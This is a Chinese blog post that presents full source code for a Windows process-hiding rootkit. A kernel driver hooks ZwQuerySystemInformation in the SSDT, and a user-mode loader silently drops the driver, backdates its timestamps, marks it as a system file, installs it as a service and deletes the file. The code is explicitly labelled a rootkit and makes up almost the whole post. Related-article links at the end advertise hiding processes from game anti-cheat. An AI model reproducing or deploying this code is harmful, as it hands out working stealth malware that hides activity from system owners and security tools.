驱动层SSDT 隐藏进程

最新推荐文章于 2024-05-20 10:23:39 发布
最新推荐文章于 2024-05-20 10:23:39 发布
阅读量6.4k 收藏 29
点赞数 1
分类专栏： 内核编程
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/hjxyshell/article/details/16993119
版权

  

闲着没事，便想在熟悉下之前看过的驱动编程相关知识，于是就写了这个简单的驱动曾隐藏进程程序。

要点：  在驱动层隐藏，主要还是使用SSDT挂钩的方法，相关知识，可以到网上查找，在隐藏进程时，为了能够隐藏多个进程，在内核代码中创建一个链表，结构如下：

//存放要隐藏进程的名字链表
typedef struct _ProcNameLink
{
	UNICODE_STRING ProcName;
	struct _ProcNameLink *pNext;
}ProcNameLink,*pProcNameLink;

在分别定义 全局变量 一个表头和一个表尾 
pProcNameLink pProcNameHeader;  //链表头部
pProcNameLink pProcNameTail;   //链表尾部

在应用层使用命令行参数向驱动层传递消息，隐藏进程或删除隐藏的进程，内核层根据传递的详细，向链表中添加或删除表项。以达到显示和隐藏进程的目的。

 

为了方便使用，将驱动代码编译成sys文件，添加到应用层程序的资源中，运行时释放安装。

 

测试结果：




代码如下：

 

应用层代码：


#include <windows.h>
#include <stdio.h>
#include <winioctl.h>    //通信时专用头文件
#include "resource.h"

//定义控制码
#define MY_DVC_IN_CODE \
	(ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN,\
	0xa02,\
	METHOD_BUFFERED,\
	FILE_READ_DATA|FILE_WRITE_DATA)

#pragma comment(lib,"Advapi32.lib")
//释放资源文件中的sys
BOOL ReleaseResource(HMODULE hMoudle, DWORD wResourceId, LPCTSTR lpType, LPCTSTR lpFilePath)
{
	HGLOBAL hResData;   ///一个内存空间;
	HRSRC hResInfo;
	HANDLE hFile;
	DWORD dwBytes;

	char strTmpPath[MAX_PATH],strBinPath[MAX_PATH];
	GetTempPath(sizeof(strTmpPath),strTmpPath);   //临时文件路径;
	sprintf(strBinPath,"%s\\test.tmp",strTmpPath);
	//处理资源文件;
	hResInfo = FindResource(hMoudle,MAKEINTRESOURCE(wResourceId),lpType);
	//printf("error = %d\n",GetLastError());
	//printf("\n\nwResourceId=%d\nMAKEINTRESOURCE(wResourceId)=%s\n\n",wResourceId,(char*)MAKEINTRESOURCE(wResourceId));
	if(hResInfo == NULL)
		return FALSE;
	hResData = LoadResource(hMoudle,hResInfo);
	if(hResData == NULL)
		return FALSE;

	hFile = CreateFile(strBinPath,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);  //创建文件;
	if(hFile == NULL) 
		return FALSE;

	SYSTEMTIME st;
	memset(&st, 0, sizeof(st));
	st.wYear = 2012;
	st.wMonth = 12;
	st.wDay = 8;
	st.wHour = 8;
	st.wMinute = 10;
	FILETIME ft,LocalFileTime;
	SystemTimeToFileTime(&st, &ft);  //系统时间转化成文件件时间;
	LocalFileTimeToFileTime(&ft, &LocalFileTime);
	SetFileTime(hFile, &LocalFileTime, (LPFILETIME)NULL, &LocalFileTime); //文件创建时间，最后一次访问时间，最后一次修改时间;
	WriteFile(hFile, hResData, SizeofResource(NULL,hResInfo), &dwBytes, NULL); //将资源中的txt文件写入的新建的txt文件;
	CloseHandle(hFile);
	FreeResource(hResData);

	MoveFile(strBinPath,lpFilePath);
	SetFileAttributes(lpFilePath,FILE_ATTRIBUTE_SYSTEM);
	DeleteFile(strBinPath);

	return TRUE;
}
//判断驱动服务是否存在
BOOL IsExistDriver(char *szDriverName)
{
	BOOL bRet = TRUE;   //存在
	SC_HANDLE schService = NULL;
	SC_HANDLE schSCManager = NULL;
	schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
	if(schSCManager)
	{
		//获取服务程序句柄
		schService = OpenService(
			schSCManager,
			szDriverName,
			SERVICE_ALL_ACCESS
			);
		if(schService == NULL)
		{
			//服务不存在
			if((GetLastError() == ERROR_INVALID_NAME) || (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST))
				bRet = FALSE;
		}
	}
	return bRet;
}
//加载驱动
BOOL LoadDriver(char *szDriverName, char* szSysPath)
{
	BOOL bRet = FALSE;
	SC_HANDLE schSevice = NULL;
	SC_HANDLE schSCManager = NULL;
	//打开SCM控制管理器
	schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
	if(!schSCManager)
	{
		printf("failed to OpenSCManager!\n");
		return bRet;
	}
	//登记服务程序
	schSevice = CreateService(
						schSCManager,
						szDriverName,
						szDriverName,
						SC_MANAGER_ALL_ACCESS,
						SERVICE_KERNEL_DRIVER,//驱动服务
						SERVICE_DEMAND_START,
						SERVICE_ERROR_IGNORE,
						szSysPath,
						NULL,
						NULL,
						NULL,
						NULL,
						NULL
						);
	if(schSevice)
	{
		printf("%s install\n",szDriverName);
	}
	else
	{
		printf("failed to CreateService\n");
		if(schSCManager != NULL)
			CloseServiceHandle(schSCManager);
		return bRet;
	}
	//打开服务
	schSevice = OpenService(schSCManager,szDriverName,SERVICE_ALL_ACCESS);
	if(schSevice == NULL)
	{
		printf("failed to OpenService\n");
		if(schSCManager != NULL)
			CloseServiceHandle(schSCManager);
		return bRet;
	}

	bRet = StartService(schSevice,NULL,NULL);
	if(!bRet)
	{
		printf("failed to startservice\n");
		if(schSevice != NULL)
			CloseServiceHandle(schSevice);
		if(schSCManager != NULL)
			CloseServiceHandle(schSCManager);	
		return FALSE;
	}
	printf("%s start\n",szDriverName);
	if(schSevice != NULL)
		CloseServiceHandle(schSevice);
	if(schSCManager != NULL)
		CloseServiceHandle(schSCManager);	
	return TRUE;
}
//卸载驱动
BOOL UnLoadDriver(char *szDriverName)
{
	SC_HANDLE schService = NULL;
	SC_HANDLE schSCManager = NULL;
	LPSERVICE_STATUS sStatus;
	BOOL bRet = FALSE;
	//打开服务管理数据库
	schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
	if(schSCManager)
	{
		//获取服务程序句柄
		schService = OpenService(
							schSCManager,
							szDriverName,
							SERVICE_ALL_ACCESS
							);
		if(schService)
		{
			//试图停止服务
			if(ControlService(schService,SERVICE_CONTROL_STOP,sStatus))
			{
				printf("\n try to stop %s\n",szDriverName);
				Sleep(1000);
				//等待服务停止
				while(QueryServiceStatus(schService,sStatus))
				{
					if(SERVICE_STOP_PENDING == sStatus->dwCurrentState)
					{
						printf(".");
						Sleep(1000);
					}
					else
						break;
				}
				if(SERVICE_STOPPED == sStatus->dwCurrentState)
					printf(" %s stopped.\n",szDriverName);
				else
					printf("\n failed to stop %s .\n",szDriverName);
			}
			//删除服务
			if(DeleteService(schService))
				{
					printf(" %s removed.\n",szDriverName);
					bRet = TRUE;
				}
			else
				printf("failed to delete  %s service.\n",szDriverName);
			CloseServiceHandle(schService);
		}
		else
			printf("failed to open service \n");
		CloseServiceHandle(schSCManager);
	}
	else 
		printf(" failed to open SCManager\n");
	return bRet;
}
int main(int argc,char *argv[])
{	
	char szCurPath[MAX_PATH],szSysPath[MAX_PATH];
	GetCurrentDirectory(MAX_PATH,szCurPath); //获得当前路径
	sprintf(szSysPath,"%s\\ProcHide.sys",szCurPath);
	ReleaseResource(NULL,IDR_SYS1,"SYS",szSysPath);
	
	//安装驱动
	char szDriverName[] = "ProcHide";
	//判断驱动是否已经存在,不存在则安装
	if(!IsExistDriver(szDriverName))
	{
		LoadDriver(szDriverName,szSysPath);
		Sleep(5000);  //等待一段时间，否则可能因为文件正在被使用无法删除
		DeleteFile(szSysPath);
	}
	//else
		//printf("driver has beed installed.\n");
	//printf("argc = %d    %s\n\n",argc,argv[1]);
	if(argc != 2 && argc != 3)
	{
		printf(
			"ProcHide -r   //remove driver\n"
			"ProcHide -h ProcessName   //hide the process\n"
			"ProcHide -d ProcessName   //hide the process\n"
			);
		return 0;
	}
	if(strcmp(argv[1],"-r") != 0 && strcmp(argv[1],"-h") != 0 && strcmp(argv[1],"-d") != 0)
	{
		printf(
			"ProcHide -r   //remove driver\n"
			"ProcHide -h ProcessName   //hide the process\n"
			"ProcHide -d ProcessName   //hide the process\n"
			);
		return 0;
	}
	//卸载驱动

	if(strcmp(argv[1],"-r") == 0)
	{
		if(UnLoadDriver(szDriverName))
			printf("%s : unloaded\n",szDriverName);
		else
			printf("failed to unload\n");
		return 1;
	}
	//
	//隐藏进程处理
	BOOL ret;
	DWORD in_buffer_len,length=0; //返回的长度
	char in_buffer[256];  //隐藏进程hide，此处先做测试，值由命令传进
	memset(in_buffer,0,256);
	if(strcmp(argv[1],"-h") == 0)   //添加隐藏进程
		in_buffer[0] = '+';
	if(strcmp(argv[1],"-d") == 0)  //删除隐藏的进程
		in_buffer[0] = '-';
	strcat(in_buffer,argv[2]);
	//printf("in_buffer = %s\n",in_buffer);
	in_buffer_len = strlen(in_buffer);
	//创建设备
	HANDLE device = CreateFile("\\\\.\\testSL",
							GENERIC_READ|GENERIC_WRITE,
							0,
							0,
							OPEN_EXISTING,
							FILE_ATTRIBUTE_SYSTEM,
							0);
	if(device == INVALID_HANDLE_VALUE)
	{
		printf("failed to open device!\n");
		return 0;
	}
	//向ring0级传送数据
	ret = DeviceIoControl(device, //打开的设备
						MY_DVC_IN_CODE, //控制码
						in_buffer,  //输入缓冲区
						in_buffer_len, //输入缓冲区长度
						NULL,  //没有输出
						0,    //输出缓冲区为0
						&length,   //返回长度
						NULL);

	if(!ret)
	{
		printf("failed to write buffer to ring0 bufer\n");
		CloseHandle(device);
		return 0;
	}
	CloseHandle(device);
	printf("exit...\n");
	return 1;
}

驱动层代码：

 

// BASIC ROOTKIT that hides processes

//#include "ntddk.h"
#include <ntifs.h>
#include <Wdmsec.h>
#include <Wdm.h>
#include <string.h>
#include <stdio.h>

//定义控制码
#define MY_DVC_IN_CODE \
        (ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN,\
        0xa02,\
        METHOD_BUFFERED,\
        FILE_READ_DATA|FILE_WRITE_DATA)
	
	
#pragma pack(1) //1个字节对齐
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //Used only in checked build
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

//存放要隐藏进程的名字链表
typedef struct _ProcNameLink
{
	UNICODE_STRING ProcName;
	struct _ProcNameLink *pNext;
}ProcNameLink,*pProcNameLink;


PMDL  g_pmdlSystemCall;
PVOID *MappedSystemCallTable;

pProcNameLink pProcNameHeader;  //链表头部
pProcNameLink pProcNameTail;   //链表尾部

#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
       _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
       InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

struct _SYSTEM_THREADS
{
        LARGE_INTEGER           KernelTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           CreateTime;
        ULONG                           WaitTime;
        PVOID                           StartAddress;
        CLIENT_ID                       ClientIs;
        KPRIORITY                       Priority;
        KPRIORITY                       BasePriority;
        ULONG                           ContextSwitchCount;
        ULONG                           ThreadState;
        KWAIT_REASON            WaitReason;
};
//进程信息结构体
struct _SYSTEM_PROCESSES
{
        ULONG                           NextEntryDelta;
        ULONG                           ThreadCount;
        ULONG                           Reserved[6];
        LARGE_INTEGER          		 	CreateTime;
        LARGE_INTEGER           		UserTime;
        LARGE_INTEGER           		KernelTime;
        UNICODE_STRING          		ProcessName;
        KPRIORITY                       BasePriority;
        ULONG                           ProcessId;
        ULONG                           InheritedFromProcessId;
        ULONG                           HandleCount;
        ULONG                           Reserved2[2];
        VM_COUNTERS                     VmCounters;
        IO_COUNTERS                     IoCounters; //windows 2000 only
        struct _SYSTEM_THREADS          Threads[1];
};

NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
						IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength
							);


typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
							ULONG SystemInformationCLass,
							PVOID SystemInformation,
							ULONG SystemInformationLength,
							PULONG ReturnLength
											);

ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;

// Added by Creative of rootkit.com
LARGE_INTEGER					m_UserTime;//64bit
LARGE_INTEGER					m_KernelTime;

///
// NewZwQuerySystemInformation function
//
// ZwQuerySystemInformation() returns a linked list of processes.
// The function below imitates it, except it removes from the list any
// process who's name begins with "_root_".

NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength)
{

	NTSTATUS ntStatus;
	pProcNameLink pTempLink;   //进程查询时用
	
   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
					SystemInformationClass,
					SystemInformation,
					SystemInformationLength,
					ReturnLength );

   if( NT_SUCCESS(ntStatus)) 
   {
      if(SystemInformationClass == 5)
      {		
		//pTempLink = pProcNameHeader->pNext;   //每次开始时重新赋次值
		//获取进程信息结构
		for((pTempLink = pProcNameHeader->pNext)&&(pTempLink!=NULL); pTempLink != NULL; )
		{
		//每次产看是，都要从进程列表的开始开始比较
		struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES*)SystemInformation;
		struct _SYSTEM_PROCESSES *prev = NULL;
		 while(curr)
		 {
			if (curr->ProcessName.Buffer != NULL)
			{
				if(0 == memcmp(curr->ProcessName.Buffer, pTempLink->ProcName.Buffer, 16))//此处判断要隐藏的进程
				{
					m_UserTime.QuadPart += curr->UserTime.QuadPart;
					m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
					//判断要隐藏的进程在链表的那个位置
					if(prev) // 中间或是在最后
					{
						if(curr->NextEntryDelta)
							prev->NextEntryDelta += curr->NextEntryDelta;
						else	// 在最后
							prev->NextEntryDelta = 0;
					}
					else
					{
						if(curr->NextEntryDelta)
						{
							// 要隐藏的进程在第一个
							(char *)SystemInformation += curr->NextEntryDelta;
						}
						else // 只有当前一个进程
							SystemInformation = NULL;
					}
				}
			}
			prev = curr;
		    if(curr->NextEntryDelta) 
				(char *)curr += curr->NextEntryDelta;
		    else 
				curr = NULL;
	     }
		 pTempLink = pTempLink->pNext;
		}
	  }
   }
   return ntStatus;
}
//向链表汇总加入新的要隐藏的进程
VOID AddProcToLink(PUNICODE_STRING ProcName)
{
	//先判断该进程是否已存在，已存在则不添加(不判断也不影响结果)
	pProcNameLink pNewLink = (pProcNameLink)ExAllocatePool(NonPagedPool, sizeof(ProcNameLink));  //新增节点
	(pNewLink->ProcName).Length = 0;
	(pNewLink->ProcName).MaximumLength = 256;
	(pNewLink->ProcName).Buffer = (PWCHAR)ExAllocatePool(NonPagedPool, 256);  //新增节点
	
	RtlCopyUnicodeString(&(pNewLink->ProcName),ProcName);  //复制
	pNewLink->pNext = NULL;
	pProcNameTail->pNext = pNewLink;
	pProcNameTail = pNewLink;    //链表末尾
}
//移除某个进程
VOID RmProcFromLink(PUNICODE_STRING pProcName)
{
	pProcNameLink pNewLink = pProcNameHeader;
	if(pProcNameHeader->pNext == NULL)
		return;
	for( pNewLink;pNewLink->pNext != NULL;)
	{
		//找到，则从链表中删除
		if(RtlCompareUnicodeString(&(pNewLink->pNext->ProcName),pProcName,TRUE)==0)
		{
			pNewLink->pNext = pNewLink->pNext->pNext;
			if(pNewLink->pNext == NULL)  //链表结尾，为指针标识赋值
				pProcNameTail = pNewLink;
			break;
		}
		pNewLink = pNewLink->pNext;  //没有写在for里面是为了方便调试时下断点
	}

}


VOID OnUnload(IN PDRIVER_OBJECT driver)
{
	UNICODE_STRING symblink_name;  //c语言定义变量放在前面
   DbgPrint("ROOTKIT: OnUnload called\n");
   // unhook system calls
   UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );

   // Unlock and Free MDL
   if(g_pmdlSystemCall)
   {
      MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
      IoFreeMdl(g_pmdlSystemCall);
   }
   
    if(IoIsWdmVersionAvailable(1,0x10))
    {
        //支持通用版本本，则创建全局符号链接\DosDevices\Global
        RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\Global\\testSL");       
    }
    else
    {
        //不支持，用\DosDevices
        RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\testSL");
    }
    IoDeleteSymbolicLink(&symblink_name );
    IoDeleteDevice(driver->DeviceObject);
    DbgPrint("our driver is unloading ... \r\n");
}

NTSTATUS MyDispatchFunction(PDEVICE_OBJECT device, PIRP irp)
{
    CHAR inBuffer[256];
	short flag = 1;  //增加链表
	ANSI_STRING ansiBuffer;
	UNICODE_STRING unicodeBuffer;
	int i;
    //获得当前IRP调用的栈空间
    PIO_STACK_LOCATION irpsp = IoGetCurrentIrpStackLocation(irp);
    NTSTATUS status = STATUS_INVALID_PARAMETER;
	memset(inBuffer,0,256);
    //处理各种请求
    switch(irpsp->MajorFunction)
    {
        case IRP_MJ_CREATE:
        {
            //简单返回一个IRP成功三部曲
            irp->IoStatus.Information = 0;
            irp->IoStatus.Status = STATUS_SUCCESS;
            IoCompleteRequest(irp,IO_NO_INCREMENT);
            //应用层，打开设备后 打印此字符串，仅为测试
            DbgPrint("congratulations gay,open device");
            status = irp->IoStatus.Status;
            break;
        }
        case IRP_MJ_CLOSE:
        {
            irp->IoStatus.Information = 0;
            irp->IoStatus.Status = STATUS_SUCCESS;
            IoCompleteRequest(irp,IO_NO_INCREMENT);
            //应用层，打开设备后 打印此字符串，仅为测试
            DbgPrint("congratulations gay,close device");
            status = irp->IoStatus.Status;
            break;
        }
        case IRP_MJ_DEVICE_CONTROL:
        {
            //得到功能号
            ULONG code = irpsp->Parameters.DeviceIoControl.IoControlCode;
            //得到输入/输出缓冲区的长度
            ULONG in_len = irpsp->Parameters.DeviceIoControl.InputBufferLength;
            ULONG out_len = irpsp->Parameters.DeviceIoControl.OutputBufferLength;
            //输入、输出的缓冲区是公用的内存空间的
            PCHAR buffer = (PCHAR)irp->AssociatedIrp.SystemBuffer;
			//memcpy(inBuffer,buffer,in_len);
			//将短字符转化为宽字符
			if(buffer[0] == '-')
				flag = 0;
			ansiBuffer.Buffer = buffer+1;
			ansiBuffer.Length = ansiBuffer.MaximumLength = (USHORT)(in_len -1);
			RtlAnsiStringToUnicodeString(&unicodeBuffer, &ansiBuffer,TRUE);
			if(flag)
				AddProcToLink(&unicodeBuffer);   //将要隐藏的进程加入到链表中
			else
				RmProcFromLink(&unicodeBuffer);
			DbgPrint("%ansiBuffer = %Z\n",&ansiBuffer);    //注意是%Z
			DbgPrint("unicodeBuffer = %wZ\n",&unicodeBuffer);
            if(code == MY_DVC_IN_CODE)
            {
                DbgPrint("in_buffer_len = %d",in_len);
                DbgPrint("%s",buffer);
                //因为不返回信息，直接返回成功即可
                //没有用到输出缓冲区
                irp->IoStatus.Information = 0;
                irp->IoStatus.Status = STATUS_SUCCESS;
            }
            else
            {
                //控制码错误，则不接受请求，直接返回错误
                //注意返回错误和返回成功的区别
                irp->IoStatus.Information = 0;
                irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
            }
            IoCompleteRequest(irp,IO_NO_INCREMENT);
            status = irp->IoStatus.Status;
            break;
        }
        case IRP_MJ_READ:
        {
            break;
        }
        default:
        {
            DbgPrint("unknow request!!!");
            break;
        }
    }
   
    return status;
}
//将ssdt表映射到内存，并设置可写、不换出
NTSTATUS SetSSDTFlag()
{
	 // 映射区域
   g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
   if(!g_pmdlSystemCall)
      return STATUS_UNSUCCESSFUL;
   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
   // 改变标志，设置可写
   g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
	//锁定到内存中，不让换出
   MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
   return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT driver, 
					 IN PUNICODE_STRING reg_path)
{
    ULONG i;
    NTSTATUS status;
    PDEVICE_OBJECT device;
    //设备名
    UNICODE_STRING device_name = RTL_CONSTANT_STRING(L"\\Device\\test");
    //符号连接名
    UNICODE_STRING symblink_name;
    //随手写一个GUID
    static const GUID MYGUID_CLASS_MYCDO = 
    { 0x63542127, 0xfbbb, 0x49c8, { 0x8b, 0xf4, 0x8b, 0x7c, 0xb5, 0xef, 0xd3, 0x9e } };
//static const GUID DECLSPEC_SELECTANY MYGUID_CLASS_MYCDO = 
//{ 0x8524767, 0x32fe, 0x4d86, { 0x9f, 0x48, 0xa0, 0x26, 0x94, 0xec, 0x71, 0x42 } };
   
    //全用户可读权限、写权限
    UNICODE_STRING sdd1=RTL_CONSTANT_STRING(L"D:P(A;;GA;;;WD)");
	//初始化第一个结构体
	pProcNameHeader =(pProcNameLink)ExAllocatePool(NonPagedPool, sizeof(ProcNameLink));
	pProcNameHeader->pNext = NULL;
	pProcNameTail = pProcNameHeader;
	//RtlInitUnicodeString(&(pProcNameHeader->ProcName),L"");
	//_asm int 3
    //生成设备
    status = IoCreateDeviceSecure(
                            driver,
                            0,
                            &device_name,
                            FILE_DEVICE_UNKNOWN,
                            FILE_DEVICE_SECURE_OPEN,
                            FALSE,
                            &sdd1,
                            (LPCGUID)&MYGUID_CLASS_MYCDO,
                            &device
                            );
    if(!NT_SUCCESS(status))
    {
        DbgPrint("IoCreateDeviceSecure failed ");
        return status;
    }
    DbgPrint("good job1");
    //创建符号链接
    if(IoIsWdmVersionAvailable(1,0x10))
    {
        //支持通用版本本，则创建全局符号链接\DosDevices\Global
        RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\Global\\testSL");       
    }
    else
    {
        //不支持，用\DosDevices
        RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\testSL");
    }
    status = IoCreateSymbolicLink(&symblink_name,&device_name);
    if(!NT_SUCCESS(status))
    {
        DbgPrint("IoCreateSymbolicLink failed");
        return status;
    }
    DbgPrint("good job2");
    //初始化驱动处理
    for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
    {
        driver->MajorFunction[i] = MyDispatchFunction;
    }
   // save old system call locations
   //OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
	 // Register a dispatch function for Unload
	driver->DriverUnload  = OnUnload; 
	
	SetSSDTFlag();
   // hook system calls
   
	HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
                              
   return STATUS_SUCCESS;
}


寒江雪语
关注
  • 1
    点赞
  • 踩
  • 29
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
挂钩SSDT隐藏进程
小麒麟的书桌
10-22 1550
(本文发表于黑访１１期上，请勿转载) 新学期又开始了，一来到学校我口袋的资金剧烈减少，我估计因该和现在轻微的通货膨胀有关（其实是我开学乱花钱花的），没有办法只好也来黑防算是“骗”点钱花了。嘿嘿。最近大家对于ring0级的研究正如当年的注入一样越来越火，认识的朋友似乎张口闭口都是内核，看来这有可能是以后的趋势了，在下不才在此献上一篇文章，算是抛砖引玉。希望以后有更好的文章发表出来。^_^
windows10驱动 x64--- 驱动实现隐藏任意进程（四）
weixin_41725706的博客
11-10 3203
PsInitialSystemProcess(进程HeadList) --->给出进程名--->0环实现进程隐藏
windows10驱动 x64--- 驱动实现隐藏驱动模块（五）
weixin_41725706的博客
11-11 693
隐藏任意内核驱动
【驱动级！进程隐藏-按键精灵过检】驱动级，内核级进程隐藏，进程保护。实战效果演示，免费分享。
最新发布
luoqiaoliang的博客
05-20 1446
废话不多说，干货直接上！ 免费的驱动级进程隐藏工具分享，还不赶紧带上你的赞和关注白嫖一波吗？
驱动级的隐藏进程代码，在驱动层通过替换ssdt地址表中的函数来隐藏进程...
06-26
驱动级的隐藏进程代码，在驱动层通过替换ssdt地址表中的函数来隐藏进程-Driver-class
win10驱动级-隐藏进程稳定不蓝屏技术
hzw320的博客
11-18 3197
支持到了win10 64位系统 ， 支持隐藏目标进程（32/64位程序进程），隐藏后，连各种ark驱动工具都看不见我们的驱动隐藏进程。隐藏进程呢，在之前很久以前的我们的game-ec 驱动模块usb版里 32位驱动 就有这个功能了 ，基本上按月付费租千元价格的驱动里才有 支持win10 64位系统的驱动隐藏进程。一般学员都知道隐藏进程的作用，但是自从微软系统出了win10 64系统后，但市面上那些驱动隐藏进程的不蓝屏的很少，有的也价格也非常贵，虽然市面上有出现了win10的驱动隐藏进程的驱动，
易语言编程-x64驱动强制隐藏DLL模块技术(过第三方dll检测)
hzw320的博客
04-19 1891
这个功能呢可以让易语言隐藏64位进程里任何dll模块，包括自己注入的dll也可以隐藏，而且是驱动级别隐藏。所以很大写DLL方式辅助的一注入DLL到游戏就被发现检测，提示第三方DLL程序，关闭后再进行游戏。并且隐藏后，任何驱动工具(包括CE工具)都无法查看枚举被隐藏的DLL文件以及找不到DLL内存区域，就算是有保护的游戏比如 dxf ，用这个功能也一样可以隐藏进程中任意DLL模块不被发现。.参数 模块句柄, 长整数型, , 要隐藏的dll或exe模块句柄。第三方DLL检测，是很多游戏都会做的，
X64位驱动保护-隐藏进程躲避游戏检测
热门推荐
hzw320的博客
08-24 2万+
前面我学习过 32位系统里进行驱动隐藏进程，http://bbs.dult.cn/thread-10701-1-1.html 来防止破解或被游戏检测到辅助 本节例子教程讲述的是在64位 win7系统进行驱动隐藏进程， 毕竟现在网络上能在64位win7系统里进行驱动隐藏进程的非常少 所以独立团有必要在驱动模块里加入强大的64位系统驱动隐藏进程功能 隐藏后的效果如下： 可以看见64位...
驱动隐藏进程（eprocess断链）
qq_43147121的博客
10-01 804
具体的原理就不详细描述了，这种办法是最为基础的隐藏手段而且网上有很多文章，只不过我看了一些大部分都只是直接在driverEntry中写死的那种，所以我简单写了个三环0环交互的驱动代码供大家参考。进程在内核中存在一个双向链表将所有的活动进程串联起来，今天写的就是将我们的目标进程从这个链表中移除以达到隐藏进程的目的。
ring0驱动级 隐藏进程 的源代码_在驱动层通过替换ssdt地址表中的api函数来隐藏进程
01-25
本文将讨论如何在驱动层通过替换System Service Dispatch Table (SSDT) 地址表中的API函数来实现隐藏进程。 SSDT是Windows内核中的一个关键结构，它存储了系统服务函数的入口点。当用户模式的应用程序调用系统服务...
rootkit钩住SSDT隐藏进程
09-27
**rootkit钩住SSDT隐藏进程** 在计算机安全领域，rootkit是一种高级的恶意软件工具，它被设计用于隐藏其他恶意程序的存在以及其活动。"rootkit钩住SSDT隐藏进程"这一概念涉及到操作系统内核层面的技术，让我们深入...
64位驱动隐藏进程与保护进程.e
08-18
64位驱动隐藏进程与保护进程.e
SSDT钩子 隐藏进程_SSDT HOOK没用汇编代码修改CR0的第16位,修改SSDT进程列表及进程的时间属性值.zip
01-28
SSDT钩子是一种常见的恶意软件技术，用于隐藏进程或进行其他非法操作。这个压缩包文件的内容似乎涉及了如何在不使用汇编代码修改CR0寄存器第16位的情况下，通过SSDT钩子来隐藏进程以及修改进程的时间属性值。 首先...
反隐藏进程技术检测技术 基本能查出当前所有Rootkit隐藏的进程 利用挂钩线程调度链表来实现.zip
01-28
针对这种情况，反隐藏进程技术通过监控SSDT的变化来检测Rootkit的存在。这种方法包括定期备份SSDT，然后与当前的SSDT进行比较，若发现不一致，可能就存在Rootkit的活动。此外，还可以直接检查线程调度链表，观察是否...
SSDT HOOK驱动开发(1)：进程隐藏
千里之外
01-29 1550
Windows 系统给我们的开发人员提供了几种列出系统中所有的进程、模块、与驱动程序的方法，最常见的也是最常用的方法就是调用系统 API：CreateToolHelp32Snapshot、EnumProcess、EnumProcessModules等，他们会调用 ZwQuerySystemInformation，ZwQuerySystemInformation会调用KiSystemService切
Win64 驱动内核编程-21.DKOM隐藏和保护进程
天使也掉毛
03-23 1万+
DKOM隐藏和保护进程 主要就是操作链表，以及修改节点内容。 DKOM 隐藏进程和保护进程的本质是操作 EPROCESS 结构体，不同的系统用的时候注意查下相关定义，确定下偏移，下面的数据是以win7 64为例。 关 注 两 个 成 员 ： ActiveProcessLinks 和 Flag 。 ActiveProcessLinks 把各个EPROCESS 结构体连接成“双向链表”，ZwQ
驱动开发：摘链DKOM进程隐藏
CSDN
08-31 1万+
DKOM 即直接内核对象操作，我们所有的操作都会被系统记录在内存中，而驱动进程隐藏就是操作进程的EPROCESS结构与线程的ETHREAD结构、链表，要实现进程的隐藏我们只需要将某个进程中的信息，在系统EPROCESS链表中摘除即可实现进程隐藏。得到句柄以后直接摘除进程的结构即可实现隐藏，该代码只找了Win10系统下的偏移地址，故只能在Win10下使用。结构体中包含了系统中的所有进程相关信息，通过WinDBG在内核调试模式下输入。在实现进程隐藏之前，需要通过代码的方式获取到当前系统中所有进程。
c++ 隐藏进程_记一次隐藏进程的驱动模块编写
weixin_35673021的博客
01-07 1504
